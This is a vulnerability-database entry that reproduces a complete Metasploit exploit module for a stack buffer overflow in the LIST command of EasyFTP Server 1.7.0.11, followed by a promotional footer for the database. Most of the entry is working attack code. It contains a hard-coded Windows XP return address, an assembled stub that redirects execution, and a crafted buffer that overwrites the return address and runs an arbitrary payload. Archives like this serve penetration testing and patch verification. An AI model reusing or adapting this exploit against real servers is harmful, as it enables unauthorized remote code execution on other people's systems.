Lucene search
K

EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

EasyFTP Server 1.7.0.11 LIST Command Stack Buffer Overflo

Code

                                                ##
# $Id: easyftp_list_fixret.rb 9953 2010-08-03 16:17:43Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# EDB-ID: 14400
# Date : July 5, 2010
# Discovered by : Karn Ganeshen
# Version : 1.7.0.11
# Tested on : Windows XP SP3 Version 2002
# MFR  & VAS TEAM : just testing howto convert exploits to metasploit modules.
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;EasyFTP Server &#60;= 1.7.0.11 LIST Command Stack Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.
				credit goes to Karn Ganeshan.

				NOTE: Although, this is likely to exploit the same vulnerability as the
				&#39;easyftp_cwd_fixret&#39; exploit, it uses a slightly different vector.
			},
			&#39;Author&#39;         =&#62;
				[
					&#39;Karn Ganeshan &#60;karnganeshan [at] gmail.com&#62;&#39;, # original version
					&#39;MFR&#39;,    # convert to metasploit format.
					&#39;jduck&#39;   # modified to use fix-up stub (works with bigger payloads)
				],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 9953 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;OSVDB&#39;, &#39;62134&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/14400/&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/14451/&#39; ]
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;thread&#39;
				},
			&#39;Privileged&#39;     =&#62; false,
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 512,
					&#39;BadChars&#39; =&#62; &#34;\x00\x0a\x0d\x2f\x5c&#34;,
					&#39;DisableNops&#39; =&#62; true
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows XP SP3 - Version 2002&#39;,   { &#39;Ret&#39; =&#62; 0x7e49732b } ], # call edi from user32.dll (v5.1.2600.5512)
				],
			&#39;DisclosureDate&#39; =&#62; &#39;July 5 2010&#39;,
			&#39;DefaultTarget&#39; =&#62; 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /BigFoolCat/)
			return Exploit::CheckCode::Vulnerable
		end
		Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		# NOTE:
		# This exploit jumps to edi, which happens to point at a partial version of
		# the &#39;buf&#39; string in memory. The fixRet below fixes up the code stored on the
		# stack and then jumps there to execute the payload. The value in esp is used
		# with an offset for the fixup.
		fixRet_asm = %q{
			mov edi,esp
			mov [edi], 0xfeedfed5
			add edi, 0xfffffff4
			mov byte ptr [edi], 0xc0
			add edi,4
			mov [edi], 0xdeadbeef
			add edi, 0xffffff24
			add esp, 0xfffffe04
			jmp edi
		}
		fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string

		buf = &#39;&#39;

		print_status(&#34;Prepending fixRet...&#34;)
		buf &#60;&#60; fixRet
		buf &#60;&#60; make_nops(0x30 - buf.length)

		print_status(&#34;Adding the payload...&#34;)
		buf &#60;&#60; payload.encoded

		# Patch the original stack data into the fixer stub
		buf[4, 4] = buf[268 + 8, 4]
		buf[16, 1] = buf[268-4, 1]
		buf[22, 4] = buf[268, 4]

		print_status(&#34;Overwriting part of the payload with target address...&#34;)
		buf[268,4] = [target.ret].pack(&#39;V&#39;) # put return address @ 268 bytes

		print_status(&#34;Sending exploit buffer...&#34;)
		send_cmd( [&#39;LIST&#39;, buf] , false)

		handler
		disconnect
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11